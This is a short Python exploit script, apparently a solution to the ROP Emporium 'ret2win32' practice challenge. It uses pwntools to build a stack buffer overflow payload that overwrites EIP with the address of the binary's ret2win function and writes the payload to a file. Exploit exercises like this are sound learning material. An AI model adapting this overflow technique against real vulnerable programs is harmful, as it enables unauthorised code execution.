from pwn import *

context.log_level='DEBUG'

p = ELF('./ret2win32')

buff_size = 50

# Find a good function in the binary and point it to eip

fill = 'A'*44
eip = p32(p.functions['ret2win'].address)
junk = (buff_size - (len(fill)+len(eip)))*'C'

payload = fill + eip + junk

with open('payload', 'wb') as f:
	f.write(payload)
	f.close()
